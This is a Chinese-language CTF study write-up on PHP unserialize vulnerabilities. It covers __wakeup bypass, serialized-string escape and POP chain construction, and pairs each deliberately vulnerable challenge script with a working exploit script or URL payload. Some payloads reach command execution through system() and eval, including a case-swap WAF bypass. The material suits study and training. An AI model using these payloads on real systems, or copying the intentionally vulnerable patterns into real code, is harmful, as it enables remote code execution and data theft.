一、简单的反序列化题目
1.P1
task.php
<?php highlight_file (__FILE__ );class NSS { var $name ; function __destruct ( ) { if ($this ->name === 'ctf' ) { echo getenv ('FLAG' ); } } } unserialize ($_GET ['n' ]);
exp.php
<?php class NSS { var $name ='ctf' ; } $a =new NSS ();print (urlencode (serialize ($a )));
2.[SWPUCTF 2021 新生赛]ez_unserialize
task.php
<?php error_reporting (0 );show_source ("cl45s.php" );class wllm { public $admin ; public $passwd ; public function __construct ( ) { $this ->admin ="user" ; $this ->passwd = "123456" ; } public function __destruct ( ) { if ($this ->admin === "admin" && $this ->passwd === "ctf" ){ include ("flag.php" ); echo $flag ; }else { echo $this ->admin; echo $this ->passwd; echo "Just a bit more!" ; } } } $p = $_GET ['p' ];unserialize ($p );?>
exp.php
O%3 A4%3 A%22 wllm%22 %3 A2%3 A%7 Bs%3 A5%3 A%22 admin%22 %3 Bs%3 A5%3 A%22 admin%22 %3 Bs%3 A6%3 A%22 passwd%22 %3 Bs%3 A3%3 A%22 ctf%22 %3 B%7 D <?php class wllm { public $admin ="admin" ; public $passwd ="ctf" ; } $a =new wllm ();print (urlencode (serialize ($a )));
二、wake_up 绕过
1.P3
task.php
<?php highlight_file (__FILE__ );class NSS { var $name ; function __wakeup ( ) { $this ->name = '1' ; } function __destruct ( ) { if ($this ->name === 'ctf' ) { echo getenv ('FLAG' ); } } } unserialize ($_GET ['n' ]);
exp.php
<?php class NSS { var $name ='ctf' ; } $a =new NSS ();print (urlencode (serialize ($a )));
2.[极客大挑战 2019]PHP
task.php
<?php include 'flag.php' ;error_reporting (0 );class Name { private $username = 'nonono' ; private $password = 'yesyes' ; public function __construct ($username ,$password ) { $this ->username = $username ; $this ->password = $password ; } function __wakeup ( ) { $this ->username = 'guest' ; } function __destruct ( ) { if ($this ->password != 100 ) { echo "</br>NO!!!hacker!!!</br>" ; echo "You name is: " ; echo $this ->username;echo "</br>" ; echo "You password is: " ; echo $this ->password;echo "</br>" ; die (); } if ($this ->username === 'admin' ) { global $flag ; echo $flag ; }else { echo "</br>hello my friend~~</br>sorry i can't give you the flag!" ; die (); } } } ?>
exp.php
<?php class Name { private $username = 'nonono' ; private $password = 'yesyes' ; public function __construct ($username ,$password ) { $this ->username = $username ; $this ->password = $password ; } function __wakeup ( ) { $this ->username = 'guest' ; } function __destruct ( ) { if ($this ->password != 100 ) { echo "</br>NO!!!hacker!!!</br>" ; echo "You name is: " ; echo $this ->username;echo "</br>" ; echo "You password is: " ; echo $this ->password;echo "</br>" ; die (); } if ($this ->username === 'admin' ) { global $flag ; echo $flag ; }else { echo "</br>hello my friend~~</br>sorry i can't give you the flag!" ; die (); } } } $a =new Name ("admin" ,"100" );print (urlencode (serialize ($a )));
三、反序列化字符逃逸
1.字符增加
(1).task.php
<?php error_reporting (0 );class a { public $uname ; public $password ; public function __construct ($uname ,$password ) { $this ->uname=$uname ; $this ->password=$password ; } public function __wakeup ( ) { if ($this ->password==='yu22x' ) { include ('flag.php' ); echo $flag ; } else { echo 'wrong password' ; } } } function filter ($string ) { return str_replace ('Firebasky' ,'Firebaskyup' ,$string ); } $uname =$_GET [1 ];$password =1 ;$ser =filter (serialize (new a ($uname ,$password )));$test =unserialize ($ser );?>
思路分析
需要反序列化后的password变成yu22x
我们随便带入一个username,password修改为yu22x得到目标字符串
<?php class a { public $uname ; public $password ; public function __construct ($uname ,$password ) { $this ->uname=$uname ; $this ->password=$password ; } public function __wakeup ( ) { if ($this ->password==='yu22x' ) { include ('flag.php' ); echo $flag ; } else { echo 'wrong password' ; } } } $b =new a ('admin' ,'yu22x' );echo serialize ($b );
其中我们需要利用的子串是";s:8:"password";s:5:"yu22x";}长度30位。
观察替换规则,由Firebasky变成Firebaskyup字符增加2,因此我们需要15个Firebasky
得到payload:
FirebaskyFirebaskyFirebaskyFirebaskyFirebaskyFirebaskyFirebaskyFirebaskyFirebaskyFirebaskyFirebaskyFirebaskyFirebaskyFirebaskyFirebasky";s:8:" password";s:5:" yu22x";}
(2).index.php
<?php error_reporting (0 );class message { public $from ; public $msg ; public $to ; public $token ='user' ; public function __construct ($f ,$m ,$t ) { $this ->from = $f ; $this ->msg = $m ; $this ->to = $t ; } } $f = $_GET ['f' ];$m = $_GET ['m' ];$t = $_GET ['t' ];if (isset ($f ) && isset ($m ) && isset ($t )){ $msg = new message ($f ,$m ,$t ); $umsg = str_replace ('fuck' , 'loveU' , serialize ($msg )); setcookie ('msg' ,base64_encode ($umsg )); echo 'Your message has been sent' ; } highlight_file (__FILE__ );
message.php
<?php highlight_file (__FILE__ );include ('flag.php' );class message { public $from ; public $msg ; public $to ; public $token ='user' ; public function __construct ($f ,$m ,$t ) { $this ->from = $f ; $this ->msg = $m ; $this ->to = $t ; } } if (isset ($_COOKIE ['msg' ])){ $msg = unserialize (base64_decode ($_COOKIE ['msg' ])); if ($msg ->token=='admin' ){ echo $flag ; } }
思路分析
我们需要把message中的token修改为admin获得flag
首先得到目标字符串
<?php class message { public $from ; public $msg ; public $to ; public $token ='admin' ; public function __construct ($f ,$m ,$t ) { $this ->from = $f ; $this ->msg = $m ; $this ->to = $t ; } } $b =new message ('1' ,'2' ,'3' );echo serialize ($b );
我们需要构造的子串是";s:5:"token";s:5:"admin";},长度为27,观察替换规则,一个fuck,变成一个loveU,字符增加1,我们需要27个fuck。
payload:
?f=1&m=1&t=fuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuck";s:5:"token";s:5:"admin";}
然后访问messa.php获得flag
(3).index.php
<?php highlight_file (__FILE__ );function waf ($str ) { return str_replace ("bad" ,"good" ,$str ); } class GetFlag { public $key ; public $cmd = "whoami" ; public function __construct ($key ) { $this ->key = $key ; } public function __destruct ( ) { system ($this ->cmd); } } unserialize (waf (serialize (new GetFlag ($_GET ['key' ]))));
思路分析
通过控制GetFlag当中的cmd来执行不同的系统命令,获得flag。
假设我们想要执行ls命令,那么目标字符串就是 O:7:"GetFlag":2:{s:3:"key";s:1:"1";s:3:"cmd";s:2:"ls";}
那么我们需要构造的字串是";s:3:"cmd";s:2:"ls";},长度为22,观察替换规则,bad变为good,这时候增加一个字符,因此需要22个bad。
payload:
?key=badbadbadbadbadbadbadbadbadbadbadbadbadbadbadbadbadbadbadbadbadbad";s:3:"cmd";s:2:"ls";}
这时候,我们成功执行了ls命令
最终payload:
?key=badbadbadbadbadbadbadbadbadbadbadbadbadbadbadbadbadbadbadbadbadbadbadbadbadbadbad";s:3:"cmd";s:7:"cat /f*";}
2.字符减少
(1).task.php
<?php function filter ($string ) { $filter = '/pp/i' ; return preg_replace ($filter ,'W' ,$string ); } $username = "ppurlet" $age = "10" ;$user = array ($username ,$age );var_dump (serialize ($user )); echo "<pre>" ;$r = filter (serialize ($user )); var_dump ($r );var_dump (unserialize ($r )); ?>
思路分析
目标字符串 a:2:{i:0;s:7:"ppurlet";i:1;s:2:"20";}
如果我们控制age=20,正常序列化的结果是;i:1;s:2:"20";}
在其前边插入任意字符和双引号序列化之后得到:a:2:{i:0;s:7:"Wurlet";i:1;s:17:"1";i:1;s:2:"20";}";}
需要吞掉";i:1;s:17:"1这个字符串也就是13个字符。
<?php function filter ($string ) { $filter = '/pp/i' ; return preg_replace ($filter ,'W' ,$string ); } $username = "pppppppppppppppppppppppppp" ; $age = '1";i:1;s:2:"20";}' ; $user = array ($username ,$age );var_dump (serialize ($user )); echo "<pre>" ;$r = filter (serialize ($user )); var_dump ($r );var_dump (unserialize ($r )); ?>
四、POP链构造
P5
task.php
<?php highlight_file (__FILE__ );class NSS1 { var $name ; function __destruct ( ) { echo $this ->name; } } class NSS2 { var $name ; function __toString ( ) { echo getenv ('FLAG' ); } } unserialize ($_GET ['n' ]);
exp.php
<?php class NSS1 { var $name ; } class NSS2 { var $name ; } $a =new NSS1 ();$a ->name=new NSS2 ();echo (serialize ($a ));
P6
task.php
<?php highlight_file (__FILE__ );class NSS1 { var $name ; function __destruct ( ) { echo $this ->name; } } class NSS2 { var $name ; function __toString ( ) { echo $this ->name->test; } } class NSS3 { var $name ; var $res ; function __get ($name ) { $this ->name->getflag (); } function __call ($name , $arguments ) { if ($this ->res === 'nssctf' ) { echo getenv ('FLAG' ); } } } unserialize ($_GET ['n' ]);
思路分析
调用链:NSS1__destruct() NSS2.__toString() NSS3.__get() NSS3.____call()
exp.php
<?php class NSS1 { var $name ; function __destruct ( ) { echo $this ->name; } } class NSS2 { var $name ; function __toString ( ) { echo $this ->name->test; } } class NSS3 { var $name ; var $res ; function __get ($name ) { $this ->name->getflag (); } function __call ($name , $arguments ) { if ($this ->res === 'nssctf' ) { echo getenv ('FLAG' ); } } } $a =new NSS1 ();$a ->name=new NSS2 ();$a ->name->name=new NSS3 ();$a ->name->name->name=new NSS3 ();$a ->name->name->name->res='nssctf' ;echo serialize ($a );
P7
task.php
<?php highlight_file (__FILE__ );class NSS1 { var $name ; function __destruct ( ) { echo $this ->name; } } class NSS2 { var $name ; private $test ; function __set ($name , $value ) { $a = $this ->test; $a ($value ); } function __toString ( ) { $this ->name->{$this ->test}(); } } class NSS3 { var $name ; var $res ; function __invoke ($v ) { echo $this ->name->flag ($v ); } function flag ($a ) { if ($a === '1' ) { return getenv ('FLAG' ); } } function __call ($name , $arguments ) { $this ->name->a = '1' ; } } unserialize ($_GET ['n' ]);
思路分析
调用链:
NSS1.destruct() NSS2.toString() NSS3.call() NSS2.set() NSS3.invoke() NSS3.flag
需要注意的是,在NSS2中test是私有属性,因此要通过成员函数赋值。
exp.php
<?php class NSS1 { var $name ; } class NSS2 { var $name ; private $test ; function setTest ($v ) { $this ->test=$v ; } } class NSS3 { var $name ; var $res ; } $a =new NSS1 ();$a ->name=new NSS2 ();$a ->name->setTest ('1' );$a ->name->name=new NSS3 ();$a ->name->name->name=new NSS2 ();$b = new NSS3 ();$b ->name = new NSS3 ();$a ->name->name->name->setTest ($b );echo (urlencode (serialize ($a )));
[SWPUCTF 2021 新生赛]pop
task.php
<?php error_reporting (0 );show_source ("index.php" );class w44m { private $admin = 'aaa' ; protected $passwd = '123456' ; public function Getflag ( ) { if ($this ->admin === 'w44m' && $this ->passwd ==='08067' ){ include ('flag.php' ); echo $flag ; }else { echo $this ->admin; echo $this ->passwd; echo 'nono' ; } } } class w22m { public $w00m ; public function __destruct ( ) { echo $this ->w00m; } } class w33m { public $w00m ; public $w22m ; public function __toString ( ) { $this ->w00m->{$this ->w22m}(); return 0 ; } } $w00m = $_GET ['w00m' ];unserialize ($w00m );?>
思路分析
调用链:w22m.destruct() w33m.tostring w44m.Getflag()
exp.php
<?php class w44m { private $admin = 'w44m' ; protected $passwd = '08067' ; } class w22m { public $w00m ; } class w33m { public $w00m ; public $w22m ; } $a =new w22m ();$a ->w00m=new w33m ();$a ->w00m->w00m=new w44m ();$a ->w00m->w22m="Getflag" ;echo urlencode (serialize ($a ));
exp2.php
<?php class w44m { private $admin = '123456' ; protected $passwd = '123' ; function SetAdmin ($v ) { $this ->admin=$v ; } function SetPasswd ($x ) { $this ->passwd=$x ; } } class w22m { public $w00m ; } class w33m { public $w00m ; public $w22m ; } $a =new w22m ();$a ->w00m=new w33m ();$b =new w44m ();$b ->SetAdmin ('w44m' );$b ->SetPasswd ('08067' );$a ->w00m->w00m=$b ;$a ->w00m->w22m="Getflag" ;echo urlencode (serialize ($a ));
[NISACTF 2022]babyserialize
task.php
<?php include "waf.php" ;class NISA { public $fun ="show_me_flag" ; public $txw4ever ; public function __wakeup ( ) { if ($this ->fun=="show_me_flag" ){ hint (); } } function __call ($from ,$val ) { $this ->fun=$val [0 ]; } public function __toString ( ) { echo $this ->fun; return " " ; } public function __invoke ( ) { checkcheck ($this ->txw4ever); @eval ($this ->txw4ever); } } class TianXiWei { public $ext ; public $x ; public function __wakeup ( ) { $this ->ext->nisa ($this ->x); } } class Ilovetxw { public $huang ; public $su ; public function __call ($fun1 ,$arg ) { $this ->huang->fun=$arg [0 ]; } public function __toString ( ) { $bb = $this ->su; return $bb (); } } class four { public $a ="TXW4EVER" ; private $fun ='abc' ; public function __set ($name , $value ) { $this ->$name =$value ; if ($this ->fun = "sixsixsix" ){ strtolower ($this ->a); } } } if (isset ($_GET ['ser' ])){ @unserialize ($_GET ['ser' ]); }else { highlight_file (__FILE__ ); } ?>
思路分析
由危险函数eval,推出invoke,进而是Ilovetxw的tostring,进而是four里的strtolower,进而是four里的set,进而是Ilovetxw的call,进而是TianXiWei里的wakeup
因此,调用链:TianXiWei::wakeup Ilovetxw::call four::set four::strtolower Ilovetxw::tostring NISA::invoke NISA::eval
waf里边过滤了system和其他函数,但是可以大小写绕过。
exp.php
<?php class NISA { public $fun ="" ; public $txw4ever ='System("cat /f*");' ; } class TianXiWei { public $ext ; public $x ; } class Ilovetxw { public $huang ; public $su ; } class four { public $a ="TXW4EVER" ; private $fun ='sixsixsix' ; } $xx =new TianXiWei ();$xx ->ext=new Ilovetxw ();$xx ->ext->huang=new four ();$xx ->ext->huang->a=new Ilovetxw ();$xx ->ext->huang->a->su=new NISA ();echo urlencode (serialize ($xx ));
phar反序列化
待续。。。。